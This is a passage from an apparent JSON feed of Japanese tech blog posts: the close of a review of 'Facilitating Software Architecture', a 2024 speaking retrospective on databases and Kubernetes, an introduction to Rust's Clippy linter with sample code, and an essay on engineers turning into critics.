Accountability」は、アーキテクチャ意思決定プロセスの導入に伴う権限と責任の移行について深く掘り下げています。著者は組織的・個人的な課題に焦点を当て、分散型アーキテクチャ実践への移行を成功させるための具体的な指針を提供します。権限移行の本質的な課題組織における権限移行は単純なプロセスではありません。伝統的な階層構造から分散型の意思決定モデルへの移行には大きな困難が伴いました。重要なのは心理的安全性の確保です。Figure 15-1. A circles and roles view of the advice process that shows the accountabilities inherent in the advice process, how they map to various roles, and how those roles interrelate より引用Figure 15-1は意思決定プロセスにおける役割と責任の関係を示しています。このモデルは単なる組織図ではなく、各役割が持つ責任と相互の関係性を明確に示します。実際のプロジェクトでもこのような可視化が有効でした。権限を得る側の課題権限を得る側の主な課題は「本当に権限を持っているのか」という不安です。私のチームでも当初はアーキテクトに過度に依存する傾向がありました。これを克服するには明確なコミュニケーションと段階的な移行が重要です。NetflixのSunshiningの例は印象的です。失敗を隠すのではなく公開し学習する文化は、権限移行の成功に不可欠です。私のプロジェクトでもこのアプローチを採用し、チームの自律性と学習能力が大きく向上しました。権限を手放す側の課題権限を手放す側も大きな不安を抱えます。「悪い決定がされるのではないか」という懸念は自然なものです。私自身もアーキテクトとしてこの不安を経験しました。しかし重要なのは「完璧な決定」ではなく「学習と改善のプロセス」です。注意が必要なのはサボタージュの問題です。著者は意図的な妨害行為の具体例を挙げています。このような行為は往々にして無意識に行われることが多く、早期発見と対処が重要でした。メタ認知の重要性著者はメタ認知(自己の思考プロセスの理解)の重要性を強調します。これは私も強く共感する点です。「反応」と「応答」の区別は実践的に非常に重要です。あるプロジェクトでは、チーム全体でこの概念を共有することで、より建設的な対話が可能になりました。メタ思考~「頭のいい人」の思考法を身につける作者:澤円大和書房Amazon結論権限と責任の移行は組織にとって大きな挑戦です。しかし適切に実施することで、より強靭で適応力のある組織を作ることができます。心理的安全性の確保と明確なコミュニケーションが重要でした。今後の組織運営においては、心理的安全性の確保と透明性の高いプロセスの確立が重要な課題となります。技術的な卓越性と人間的な洞察の両立が、現代のソフトウェアアーキテクチャ実践には不可欠です。Chapter 16. On Leadership第16章「On Leadership」は、分散型アーキテクチャにおけるリーダーシップの本質と実践について深く掘り下げています。著者はリーダーシップに関する一般的な誤解を解き、分散型アーキテクチャの文脈における効果的なリーダーシップのあり方を具体的に示しています。誰もが人を動かせる! あなたの人生を変えるリーダーシップ革命作者:森岡毅日経BPAmazonリーダーシップの誤解を解く著者はまずリーダーシップに関する4つの主要な誤解を指摘します。第一に「リーダーシップは生まれつきの才能である」という誤解です。著者はPeter Druckerの言葉を引用し「リーダーシップはパフォーマンスであり地道な仕事である」と主張します。第二に「リーダーシップは階層と結びついている」という誤解です。実際の組織では「ピーターの法則」として知られるように階層的な昇進は必ずしもリーダーシップ能力と一致しません。むしろ階層的な昇進システムそのものがリーダーシップの育成を阻害する可能性があります。第三に「リーダーシップは一方向的である」という誤解です。従来の考え方では指示は上から下へ一方向に流れると想定されてきました。しかし現代の組織では双方向のコミュニケーションとフィードバックが不可欠です。第四に「リーダーシップはマネジメントと同じである」という誤解です。マネジメントが現状の最適化を目指すのに対しリーダーシップは変革と未来に焦点を当てる点で本質的に異なります。Leader-Leaderアプローチ著者はリーダーシップのモデルとしてL. David Marquetの「Leader-Leader」アプローチを推奨します。このアプローチは全員がリーダーになり得るという信念に基づいています。重要なのは認知的な仕事においては従来の上意下達型のリーダーシップが機能しないという洞察です。Leader-Leaderアプローチでは「私はこうするつもりです」という宣言を通じてリーダーシップを実践します。この宣言に対して反対がなければ実行に移せます。これにより意思決定の分散化と迅速化を両立できます。移行期のリーダーシップ課題分散型アーキテクチャへの移行期には4つの主要な課題があります。第一に「コントロールを手放す」ことです。これは単なる形式的な権限移譲ではなく心理的な変革を必要とします。第二に「安全性を個別の決定より優先する」ことです。多様な視点を取り入れるには心理的安全性の確保が不可欠です。技術的な正しさよりも組織の信頼関係構築を優先する必要があります。第三に「I intend to」プラクティスの導入です。これは権限移譲を具体化する効果的な方法です。チームメンバーが主体的に行動を起こせる環境を作ります。第四に「信頼してから検証する」アプローチです。失敗を許容し学習機会として捉える文化づくりが重要です。検証は必要ですがマイクロマネジメントは避けるべきです。モラルリーダーシップの重要性著者はモラルリーダーシップの継続的な必要性を強調します。技術的パフォーマンスへの影響は過大評価されがちですが組織の道徳的側面への影響は過小評価されています。モラルリーダーシップは多様性を保護し心理的安全性を促進します。これは分散型アーキテクチャの実践において重要です。パワーバランスの偏りを防ぎ幅広い声が貢献できる環境を維持します。実践的な示唆著者の提案は現代のソフトウェア開発組織に重要な示唆を与えます。注目すべきはリーダーシップを特定の役職や個人に固定化しないという考え方です。組織の成長とともにリーダーシップも進化させる必要があります。継続的な学習とフィードバックを重視する文化づくりも重要です。失敗を恐れず実験と改善を繰り返すサイクルを確立することで組織全体の能力が向上します。結論本章は分散型アーキテクチャにおけるリーダーシップの新しいモデルを提示しています。Leader-Leaderアプローチとモラルリーダーシップの組み合わせは現代のソフトウェア開発組織に適した枠組みを提供します。重要なのはリーダーシップを学習可能なスキルとして捉える視点です。これは組織の持続的な成長と進化を支える基盤となります。今後の組織運営においてはこれらの知見を活かし分散型でありながら一貫性のある技術戦略を実現することが求められます。Chapter 17. Fitting the Advice Process Within Your Organization第17章「Fitting the Advice Process Within Your Organization」は、アーキテクチャ・アドバイスプロセスを既存の組織構造に統合する方法について深く掘り下げています。著者は組織の境界とその接点に注目し、分散型アーキテクチャ実践を組織全体に効果的に適用するための具体的な指針を提供しています。ソフトウェアエンジニアリングのサブカルチャー著者はまずソフトウェアエンジニアリング部門の独自性に着目します。伝統的な組織文化とは異なる特性を持つソフトウェア開発において、アドバイスプロセスは自然な形で受け入れられる可能性が高いと指摘します。注目すべきはソフトウェア開発の4つの特徴です。標準的な製品開発モデルとの違い、変化の速度、組織との接点の少なさ、そして既に受け入れられている文化的な違いです。これらは以前関わった大規模プロジェクトでも、ソフトウェア開発チームは他部門とは異なる働き方を自然に確立していました。アドバイスプロセスバブルの概念著者はアドバイスプロセスバブルという概念を提示します。このバブルは分散型実践のための明確な境界を持つ空間として機能します。Figure 17-1はバブルの基本的な構造を示しており、組織の他の部分との関係性を明確にします。Figure 17-1. An advice process bubble where teams practice the advice process, surrounded by the rest of the organization where everything continues as usual より引用バブルは完全に独立しているわけではありません。むしろ組織との適切な接点を維持しながら、内部の自律性を確保する仕組みとして機能します。私のチームでもこのアプローチを採用し、組織全体との調和を保ちながら独自の開発文化を育てることができました。バブルの成長と分割バブルの成長には慎重なアプローチが必要です。著者は段階的な成長と適切なタイミングでの分割を推奨します。Figure 17-2は分割後のバブル構造を示しており、組織とのインターフェースをどう維持するかが明確に示されています。Figure 17-2. An additional circle with responsibilities for linking into the wider organization’s performance management process has been added to the advice process bubble より引用重要なのはバブル分割の判断基準です。信頼関係の低下、意思決定の遅延、不必要な情報共有の増加などが分割のシグナルとなります。あるプロジェクトでは規模の拡大に伴いコミュニケーションコストが増大し、結果として2つのバブルに分割することで効率が改善しました。組織との期待値の管理著者は組織からの期待に対する適切な対応の重要性を強調します。明示的な期待と暗黙的な期待の区別が重要です。要件の達成や透明性の確保といった明示的な期待に加えて、階層的な質問への対応や適切なスキルの確保といった暗黙的な期待にも注意を払う必要があります。この観点は実務上極めて重要です。私のチームでも組織の期待を明確に理解し対応することで、分散型実践の価値を示すことができました。定期的なステータス報告や成果の可視化は、組織との信頼関係構築に大きく貢献しました。結論アドバイスプロセスの組織への適合は継続的な取り組みを必要とします。著者はバブルの独自性を保護しながら組織との調和を図ることの重要性を強調します。これは単なる技術的な課題ではなく、組織文化の変革を伴う取り組みです。このアプローチは現代のソフトウェア開発組織に極めて有効です。マイクロサービスアーキテクチャやDevOpsの実践において、チームの自律性と組織全体の整合性のバランスを取る際に役立ちました。今後の課題としては、リモートワークの普及やグローバル開発の加速に伴う新たな組織的課題への対応が考えられます。しかし著者が示した原則と実践的なアプローチは、これらの課題に対しても有効な指針となるはずです。おわりに実は本書を最初に読んだのは11月でした。読了後すぐに、この本の内容が字分の人生の年末の振り返りや自身の職務経歴書の更新と似ているなぁって思って、書評自体は年末年始に書こうと決めました。その間、折に触れて内容を整理し、メモを取り続けていましたが、実際の執筆は結局大晦日までずれ込んでしまいました。しかし、この「遅さ」が逆に、一年を通じての経験と本書の内容を結びつける機会を与えてくれたように思います。本書「Facilitating Software Architecture」を通じて、私たちは分散型アーキテクチャにおける実践的アプローチを学んできました。印象的だったのは、アーキテクチャの実践が単なる技術的な設計にとどまらず、組織文化や人間関係の深い理解を必要とすることです。本書の核心は、アーキテクチャを「共創的な営み」として捉える視点にあります。伝統的な中央集権型アプローチから分散型への移行は、単なるプロセスの変更以上の意味を持ちます。それは組織全体の思考様式の転換であり、新しい形の協働を生み出す試みです。アーキテクチャ・アドバイスプロセスとADR(Architecture Decision Records)は、この新しいアプローチを支える具体的な実践として重要です。これらは意思決定の透明性を高め、組織の学習を促進する強力なツールとなります。同時に、Technology RadarやWalking Skeletonといった手法は、不確実性の高い環境での実践的な指針を提供してくれます。しかし、最も重要なのは「信頼」を基盤とした組織文化の醸成です。分散型アーキテクチャの成功は、技術的な卓越性だけでなく、組織メンバー間の深い信頼関係に依存します。本書を通じて学んだ様々なプラクティスも、この信頼関係があってこそ効果を発揮するものです。この一年間、私自身が経験した技術への意欲の喪失と回復の過程は、本書の内容と深く共鳴するものでした。個人としてもチームとしても、時には立ち止まり、基本に立ち返ることの重要性を再認識させてくれます。心身の健康に意識を向け、純粋な楽しみの時間を大切にすることは、持続可能な開発文化の基盤となるでしょう。これからのソフトウェア開発は、さらなる複雑性と不確実性に直面することでしょう。しかし、本書で示された分散型アプローチと、それを支える様々な実践は、これらの課題に立ち向かうための強力な武器となるはずです。個人としても組織としても、継続的な学習と適応を重ねながら、より良いソフトウェア開発の実現を目指していきたいと思います。2024年もみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-12-31T14:25:46.000Z","dateMiliSeconds":1735655146000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"2024年の振り返りをする","link":"https://nnaka2992.hatenablog.com/entry/2024/12/31/2024_furikaeri","contentSnippet":"みんな振り返りしてる。振り返りしてないのはお前だけ。なので振り返りします。登壇関係2024-03-29 3-shake SRE Tech Talk #9 - connpass2024年の登壇はじめは所属会社である株式会社スリーシェイクの主催するイベントでした。データベーススペシャルということでDB関連がメインの回で、メインセッションとして30分枠で登壇しました。内容はo11yとデータベースを主軸とした話です。個人的には今後データベースのスロークエリ検知は従来のスロークエリログを利用する方法からo11yのトレースを通して発見していく方法が主流になるのではと思っています。データベースにオブザーバビリティを注入する - Speaker DeckSRETTというイベントがインフラ・SRE・アプリケーション側の試聴者が多いだろうと考えて、少しアプリ・SREよりの内容にしようとo11yをメインに据えた記憶があります。2024-04-26 YugabyteDB Japan Meetup #3登壇はじめからはなかなかのハイペースで、1ヶ月経たないうちにGoogle CloudのコミュニティであるJagu\'e\'rでの登壇です。やはりここもDBREの文脈でデータベースでブルーグリーンをできるようにしようという内容です。Jagu\'e\'r Observability-SRE分科会 Meetup#7 ハイブリッド - connpassGoogle CloudのDBにもAWS RDSのブルーグリーン相当の機能が欲しいです。2024-06-05 Google Cloud非公開イベントGoogle Cloudがパートナー向けに開催している非公開イベントでの登壇でした。2024年4月のGoogle Cloud Nextで発表された「全てのDBにベクトル検索を搭載します」という内容に衝撃を受けて、話した内容だった気がします。確かにすごいですが、全部のDBに必要なのかと問われると疑問です。Google Cloud で利用できるRDBのベクトル検索を徹底解剖! - Speaker Deck結論としては特別な理由がなければCloud SQLを使え、です。2024-07-17 YugabyteDB Japan Meetup #5 - connpass約1年ぶりのYugabyteDB Japan Meetupのリベンジ登壇です。初回がなぜかDBREの話をしてYugabyteDBの話はフレーバー程度になってしまったので、本腰を入れてYugabyteDBならではの話をしました。大規模マルチテナントを解決するYugabyteDBという選択肢 - Speaker DeckYugabyteDBはメジャーなNewSQLでは唯一RLSをサポートしており、スケールアウトとセキュリティを両立したデータベースなので大規模マルチテナントの最適解では? という内容です。この考えはAurora DSQLの登場でも意見は変わりませんが、Limitlessでいいのでは? という気持ちはあります。2024-08-30 Jagu\'e\'r Cloud Native #15 ハイブリッド Meetup - connpass2024年2回目のJagu\'e\'rでの登壇でした。Google Cloudと不仲と噂されていたOracleの関係改善に驚いた結果話した内容です。やっていることはシンプルでOracle DBをKubernetesでうごかすOperatorを紹介しています。GoogleとOracle:この二人は友達になれました~GKEでOraOperatorを動かそう~ - Speaker Deckこの9月末まではGoogle Cloudのパートナーエンジニア表彰プログラムである、Google Cloud Partner Top Engineerの評価期間であったためGoogle Cloudに偏重した登壇を行っていました。2024-10-01 Kubernetes Novice Tokyo #34 - connpassJagu\'e\'r Cloud Native #15で登壇した内容を一部保管しつつ、されつつといった内容の登壇でした。@bells17_が運営のひとりなのでOracle DB on Kubernetesの話をするので早く開催してくださいとプレッシャーをかけた覚えがあります。その節はお世話になりました。登壇した直後にOracle DBの話しすぎて、Kubernetesユーザーからするとちょっと違うなという話をしてしまったと反省した記憶があります。Kubernetes上でOracle_Databaseの運用を楽にするOraOperatorの紹介 - Speaker Deckこの時期はOracle DB x Kubernetesの熱が上がりましたが、今はそこまででもありません。今はやっぱりPostgreSQLだとCloud NativePGに熱を上げてます。2024-12-17 Database Engineering Meetup #5 - connpass2024年の登壇納はDatabase Engineering Meetupでした。ちょうど11月下旬ごろにKubeCon NA 2024があり、そこでDB関連のセッションが半年前のKubeConから3倍近くに増えておりそれをまとめた内容です。KubeCon NA 2024の全DB関連セッションを紹介 - Speaker Deck2024年のはじめごろはGoogle Cloudを中心としたパブリッククラウドを主軸としたCloud Nativeから、Oracle x GKEを通してKubernetesという流れでした。データベースエンジニアを自称する限り、Kubernetesからは逃げられないと思っています。来年もKubernetesを頑張ります。2024年は全部で7本の登壇をしたようです。ブログ関連はてなブログでは主に読んだ論文やドキュメント、セッションレポートなどをまとめ、zennでは何かを調べてまとめたものや検証した結果をまとめるように使い分け運用しました。12月のアドベントカレンダーシーズンにKubeCon NAのセッションレポートを書いていたところ、最後の投稿が2023年の振り返りをするで焦ったのは秘密です。nnaka2992.hatenablog.comzennの方は2023年と同様に社内向けに話すもののうち社外に出しても問題ないようなものを垂れ流していましす。2025年も引き続き技術検証方面に力をいれたいのでzennを活発に出来たらなと思います。全部で11本のブログを書いたようです。まとめ2024年はがむしゃらに本数を意識した1年でした。来年も数にはこだわっていきたいですが、内容はKubernetesとPostgreSQLとGoogle Cloudあたりに注力していけたらいいなと思っています。","isoDate":"2024-12-31T13:22:33.000Z","dateMiliSeconds":1735651353000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"rootful・rootless・privilegedコンテナの違い/rootful_rootless_privileged_container_difference","link":"https://speakerdeck.com/moz_sec_/rootful-rootless-privileged-container-difference","contentSnippet":"2024/12/28に開催されたOWASP KansaiのLTの資料です。\\rhttps://owasp-kansai.doorkeeper.jp/events/179740","isoDate":"2024-12-28T05:00:00.000Z","dateMiliSeconds":1735362000000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"Clippyのすすめ - 他者の評価を気にせず何度でも指摘してくれる機械もしくは注意力の限界を超えてケアをしてくれる機械","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/27/170046","contentSnippet":"はじめにプログラミングを学ぶ上で、良いコードの書き方を知ることは非常に重要です。今回は、Rustで良いコードを書くための強力な味方、Clippyについて学んでいきましょう。プログラミング初心者の方から、他の言語からRustに移ってきた方まで、きっと新しい発見があるはずです。私も最近、Rustに関する素晴らしい本を読んでいます。「Effective Rust」と「Idiomatic Rust」は、Rustらしい書き方やデザインパターンについて詳しく解説していて、とても勉強になります。ただ、正直なところ、本を読んだだけでは私自身なかなか良いコードが書けず、ツールでのレビューで「これRustらしくないよね」とよく指摘されています。そのたびに勉強させられています。きっと同じような経験をされている方も多いのではないでしょうか。Idiomatic Rust: Code like a Rustacean (English Edition)作者:Matthews, BrendenManningAmazonEffective Rust: 35 Specific Ways to Improve Your Rust Code (English Edition)作者:Drysdale, DavidO\'Reilly MediaAmazonそんな中で私の強い味方になっているのが、今回紹介するClippyです。本で学んだ内容を実践しようとするとき、Clippyは具体的なアドバイスをくれる、とても親切な存在です。特に「ここがRustらしくない」と言われたときの改善方法を、実例を挙げて教えてくれるのが心強いです。rust-lang.github.ioRust 標準 linter: Clippyプログラミング言語には、よくある間違いや非推奨の書き方をチェックして警告を発してくれる、lintというプログラムがあります。元々はC言語をチェックするものでしたが、現在では様々な言語のためのlinterが作られています。Lint Nightなんてイベントもあります。lintnight.connpass.comRustには言語標準のlinterがあり、その名をclippyと言います。使い方は極めて簡単で、cargoツールチェインがインストールされていれば、下記のようにインストールして、$ rustup component add clippy下記のコマンドをcrateのフォルダで実行するだけです。$ cargo clippyClippyのlinterとしての特徴linterはコードの品質を向上するために、多くの現場で使われているツールですが、実際には厳しすぎるルールや、実際の問題にそぐわないものも多くあります。これを偽陽性(false positive)の検出と呼びます。通常は設定ファイルや特殊なコメントをコードに埋め込むことによって、特定のlintの有効・無効を切り替えることになります。これは無視できない労力で、linterのバージョンを更新するたびに新たなルールに対応する必要が出てきたり、コメントによってコードが汚くなったりするデメリットもあります。Clippyの特徴は、デフォルトの設定でもそのような偽陽性の警告が少なく、実際にコードの品質が向上したり、プログラマとしての知識が得られるのを実感できるような警告が多いということです。実践的な例例えば、次のような関数を見てください:fn sum_squares(values: &Vec) -> i32 { values.iter().fold(0, |acc, value| acc + value * value)}この関数は問題なく動きますが、Idiomatic Rust(慣用的なRustコード)ではありません。Clippyは、次のような親切な警告を出してくれます:Checking test001 v0.1.0 (/Users/nwiizo/git/workspace_2024/clippy/test001)warning: writing `&Vec` instead of `&[_]` involves a new object where a slice will do --> src/main.rs:1:24 |1 | fn sum_squares(values: &Vec) -> i32 { | ^^^^^^^^^ help: change this to: `&[i32]` | = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#ptr_arg = note: `#[warn(clippy::ptr_arg)]` on by defaultこれは、&Vecよりも&[]のほうが汎用性が高いということを教えてくれています。Vecは&[T]に暗黙に変換されるので、わざわざVecで宣言するということは、使える範囲を狭めるだけで何のメリットもないのです。この関数は、機能性を全く損なわずに、次のように書き直すことができます:fn sum_squares(values: &[i32]) -> i32 { values.iter().fold(0, |acc, value| acc + value * value)}ミュータブル参照の場合ところで、引数の型がミュータブル参照であった場合は話が別です。&mut Vecと&mut [T]ではできることが異なります。次のように、引数のベクター型のサイズを変えるような関数は、ミュータブルスライスで置き換えることはできません:fn append_square(values: &mut Vec) { values.push(values.iter().fold(0, |acc, value| acc + value * value));}// 使用例let mut vv = vec![1,2,3];append_square(&mut vv);assert_eq!(vec![1,2,3,14], vv);このため、Clippyはミュータブル参照に対しては警告を発しません。これは、Clippyが文脈を理解して適切な判断を下せることを示す良い例です。neovim/nvim-lspconfig での設定VSCodeやCursor は知らないがこちらの設定でneovim は設定できる。 { \\"neovim/nvim-lspconfig\\", config = function() require(\\"nvchad.configs.lspconfig\\").defaults() local lspconfig = require \\"lspconfig\\" lspconfig.rust_analyzer.setup { settings = { [\\"rust-analyzer\\"] = { checkOnSave = { command = \\"clippy\\", extraArgs = { \\"--all\\", \\"--\\", \\"-W\\", \\"clippy::all\\" }, }, }, }, } require \\"configs.lspconfig\\" end, },おわりにClippyは、より良いRustプログラムを書くことができるように導いてくれる、優しい先生のような存在です。もちろん、Clippyも完璧ではなく、時には偽陽性の検出もありますが、それは人間でも同じことです。より良いRustの書き方を学び、コードの品質を向上させ、プログラミングの知識を深められるClippyは、人間のレビュアーとは違って何度指摘されても評価が下がることのない、心強い味方となってくれます。という利点があります。ぜひ、みなさんも日々のRustプログラミングにClippyを取り入れてみてください。疑問に思ったClippyの警告は、その都度調べてみることをお勧めします。そうすることで、Rustの理解がより深まっていくはずです。Effective Rustに関しては日本語の本が出ているので興味があれば読んでみても良いと思う。Effective Rust ―Rustコードを改善し、エコシステムを最大限に活用するための35項目作者:David Drysdaleオーム社Amazon個人的に良かった記事qiita.comkenoss.github.io業務 におけるRust の記事を読んだがどちらの記事もとても良かった。","isoDate":"2024-12-27T08:00:46.000Z","dateMiliSeconds":1735286446000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"「評論家気取り」という作る人の行き着く先が怖い","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/27/144509","contentSnippet":"らーめん再遊記 第一巻より引用らーめん再遊記(1) (ビッグコミックス)作者:久部緑郎,河合単小学館Amazonはじめに技術界隈には、長年続いている不穏な現象があります。コードを書くことに情熱を注いでいた人々が、いつの間にか他人の成果物を論評することに執心するようになってしまうのです。なぜ私たちは燃え尽きてしまうのか作者:ジョナサン マレシック青土社Amazonこの現象は、特にベテランと呼ばれるエンジニアたちの間で顕著です。彼らは確かな技術力を持ち、素晴らしい成果を残してきました。しかし、彼らの多くが、創造者から評論家への転身!?を遂げつつあります。仕事の辞め方 (幻冬舎単行本)作者:鈴木おさむ幻冬舎Amazon実は私たちエンジニアは皆、いずれ評論家になる運命を背負っているのかもしれません。年を重ね、技術の第一線から遠ざかるにつれ、「作る」ことから「評論する」ことへと、その重心を少しずつシフトさせていきます。それは半ば必然であり、誰もが通る道なのでしょう。だからこそ、今、この問題について考えたいと思います。これは、いずれ評論家になるかもしれない私自身への警告であり、そして自戒の言葉でもあります。実装者から評論家へ。エンジニアの変質を、私は憂慮しています。この静かな変化について、正面から向き合ってみましょう。作る側が評論に逃げるとき「このコードは素人レベルで時代遅れです。基礎から学び直してください」「アーキテクチャへの理解が浅く、重要な議論が抜け落ちています」「技術選定の根拠が説明されておらず、設計思想が古いままです」「なぜあのライブラリやアーキテクチャに触れていないのですか。初歩的な見落としです」SNSには辛辣な評論・批評が溢れ、技術ブログには高圧的な論評が並び、カンファレンスの裏チャンネルは批判で充満しています。最も危惧すべきは、これらの評論・批評の多くが、かつては優れたコードを生み出していたはずのエンジニアたちから発せられているということです。問題なのは、これらの言説が建設的な議論を装いながら、実際には単なる批判に終始している点です。 改善案を示すわけでもなく、プルリクエストを送るわけでもなく、ただ「ダメ出し」だけを繰り返しています。これは技術的な議論ではなく、単なる自己顕示でしかありません。アイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazon自意識が一流評論家になってしまったかつて天才だったエンジニアXのタイムラインには、自らを一流評論家だと思い込んだエンジニアたちが目立っています。「この実装は素人レベルです。こんなコードしか書けない人は、基礎から学び直すべきです」—そう断罪するのです。 しかし、彼ら自身は数年前の自分のコードを振り返ってみたことがあるでしょうか。あるいは最近では、実装よりもメンテナンス業務が中心になってはいないでしょうか。かつての優秀なエンジニアたちは、初学者への指摘だけでは飽き足らず、すでに実績のあるエンジニアたちにまで批判の矛先を向けています。有名OSSのプルリクエストには「この設計は時代遅れです。モダンな設計パターンを学んでから出直してください」と高圧的なコメントを残し、技術ブログに対しても「この技術選定の根拠が説明されていません」「重要な議論が抜け落ちています」と、まるで査読者のような態度で指摘を繰り返します。さらに気がかりなのは、オープンソースのイシューやプルリクエストへの不建設的な態度です。具体的な改善案を示すことなく、ただ問題点の指摘だけを行うのです。「なぜこの設計を選んだのですか?」「この実装では不十分です」という批判は、具体的な改善案を伴わない限り、何の価値も生み出せません。評論家気取りのポストで注目を集める快感に魅了されたエンジニアは、徐々に変質していきます。最初は些細な技術的指摘から始まり、「いいね」という承認欲求に駆られ、その評論は次第に厳しさを増していくのです。「なぜこの技術スタックを選んだのですか?」「なぜこの設計パターンを採用しなかったのですか?」—まるで面接官のように、実装者を追い詰める質問を投げかけ始めます。そして最も懸念すべきは、若手エンジニアの成長機会が損なわれていくという事実です。建設的なフィードバックの代わりに投げかけられる批判は、若手の挑戦する意欲を削ぎ、コミュニティへの貢献を躊躇させています。時には、自身を技術界の権威だと思い込んだエンジニアが、若手たちの真摯な努力までも批判の対象としてしまうのです。評論は衰退の始まりエンジニアが評論家めいた物言いを始めるとき、それは衰退の予兆かもしれません。ただし、適切な評論や建設的な批判は、技術の発展に不可欠な要素でもあります。レビューやフィードバックを通じて、実装の品質は向上し、よりよい設計が生まれていきます。問題なのは、創造的な貢献を伴わない批判に終始してしまうことです。創造者には創造者としての責務があります。コードに不満があるならば、改善のプルリクエストを送ることができます。ドキュメントが不十分と感じるなら、具体的な改善案を示すことができます。アーキテクチャが気に入らないのであれば、より優れた実装を示す機会が開かれています。発表内容に不満があるというのなら、自らが登壇する選択肢もあります。これは単なる理想論ではありません。優れたエンジニアたちは、常にこの原則に従って行動してきました。彼らは単なる批判ではなく、コードで語ります。問題点の指摘だけではなく、改善案の実装を示します。時には厳しい指摘も必要ですが、それは常により良い方向への具体的な提案を伴うものでなければなりません。評論と批判は、建設的な議論の土台となり得ます。しかし、それは実装による貢献があってこそ意味を持つのです。評論家として批判するだけでなく、創造者として具体的な改善を示していく—それこそが、エンジニアの進むべき道筋なのではないでしょうか。みんなのフィードバック大全作者:三村 真宗光文社Amazonなぜ評論に逃げるのか実のところ、その理由は複雑に絡み合っています。一見すると創造する意欲が失われていくように見えますが、その背景にはさまざまな要因が存在します。まず、技術の進化スピードが年々加速していることが挙げられます。かつて最先端だった技術スタックは、わずか数年で「レガシー」と呼ばれるようになります。新しい技術への追従に疲れ、自信を失っていく—そんなベテランエンジニアの姿を、私たちは目にしてきました。また、組織の中での役割の変化も大きな要因となります。マネジメントやアーキテクトの立場になると、直接コードを書く機会が減っていきます。それは自然なキャリアパスかもしれませんが、同時に「作る」喜びから遠ざかることも意味します。さらに、以前の自分を超えられないという焦りもあるでしょう。若かりし頃に作り上げた素晴らしいプロダクトやライブラリ。その成功体験が重荷となり、新しいチャレンジを躊躇させることもあります。過去の栄光に縛られ、新たな失敗を恐れる—そんな心理が、評論という安全な場所への逃避を促します。そして、評論には誘惑があります。技術ブログへの評論記事は数時間で書け、発表資料への批判は数分で完結し、SNSなら数行のポストで事足ります。実装を伴う苦労も、メンテナンスの責任も、失敗のリスクも必要ありません。最も注意すべきは、その行為が「いいね」という即時の報酬と、表面的な自己肯定感をもたらすことです。賢明な分析家として認められ、技術の識者として扱われる。この心地よさが、さらなる評論への逃避を促していきます。他者への批判で得られる一時的な優越感は、しかし、本当の自己肯定感とは異なります。 建設的な創造による達成感こそが、エンジニアの誇りとなるべきものです。時には、組織の文化や環境も影響します。過度な品質要求や、失敗を許容しない雰囲気は、エンジニアを萎縮させ、批評家的な立場に追いやってしまうことがあります。新しいことへの挑戦よりも、既存のものを批評する方が「安全」だと感じてしまうのです。この悪循環は、技術コミュニティ全体に影響を及ぼします。建設的な議論が減少し、若手の挑戦する意欲が失われ、コミュニティの分断が進んでいきます。評論は容易でも、実際の改善は誰も行わない—そんな状況に陥っているのです。しかし、これは決して避けられない運命ではありません。技術の変化を恐れず、小さな一歩から始める勇気を持つこと。過去の成功や失敗にとらわれすぎず、新しい挑戦を続けること。そして何より、評論家としての安易な満足に甘んじないこと。それが、創造者としての道を歩み続けるための鍵となるのではないでしょうか。批評の教室 ──チョウのように読み、ハチのように書く (ちくま新書)作者:北村紗衣筑摩書房Amazon作る側の矜持エンジニアの本質的価値は、創造する能力にあります。 しかし、それは建設的な評論の価値を否定するものではありません。むしろ、創造と評論のバランスを保つことこそが、真のエンジニアとしての成熟を示すのかもしれません。不満な実装を見つけたのなら、より良いコードで示していきましょう。しかし、それは時として現実的ではないこともあります。そんなとき、具体的で建設的で受け入れやすいフィードバックは、それ自体が価値ある貢献となり得ます。資料に物足りなさを感じたのなら、自らより良い資料を書いていきましょう。ただし、すべての領域で自ら書き直すことは不可能です。そこでは、経験に基づいた示唆に富む指摘が、コミュニティの発展を支えることになります。エンジニアの成長は、実装による具体的な貢献を通じて実現されます。しかし、それは単独の作業ではありません。建設的なフィードバックの交換、経験の共有、そして時には適切な批評—これらの相互作用が、より良い実装を生み出す土台となります。重要なのは、創造と評論の適切なバランスです。他者のコードを批判するだけでなく、具体的な改善案を示すことができます。時には成果を否定したくなることもあるでしょうが、それを建設的なフィードバックへと昇華させることが大切です。また、自身の実装経験に基づいた説得力のある指摘は、コミュニティの発展に大きく寄与します。特に若手エンジニアに対しては、その成長を支援する温かい指摘を心がけたいものです。SNSでの浅薄な承認に価値を見出すのではなく、実装と建設的な評論の両輪で、技術コミュニティの発展に貢献していきましょう。それこそが、経験を積んだエンジニアとしての責務なのではないでしょうか。創造の喜びを忘れず、同時に適切な評論の価値も理解する—その両方を備えることで、私たちは真のエンジニアとしての成長を続けることができるのです。そして、それこそが技術コミュニティ全体の発展につながっていくはずです。批評理論を学ぶ人のために世界思想社Amazonおわりに「この文章自体も、評論ではないでしょうか」—そんな声が聞こえてきそうです。その通りです。私たちは、いずれ評論家になる運命から完全に逃れることはできないのかもしれません。年を重ねていったり、第一線を離れていく中で、評論的な視点は自然と身についていきます。それは、ある意味で技術者としての成熟の一面なのかもしれません。しかし、それでも私たちには選択の余地があります。評論に溺れるのか、それとも最後まで創造を続けるのか。私は後者を選びたいと思います。だからこそ、この文章を書き終えたら、すぐにコードを書きます。 プルリクエストを送り、ドキュメントを改善します。たとえ疲れてしまって楽な評論的な視点を持ったとしても、それを建設的な創造へと昇華させる努力を続けていきます。エンジニアは、創造することで価値を示せます。評論だけでは、成長は望めません。私たちは、作ることで命をつなぎます。 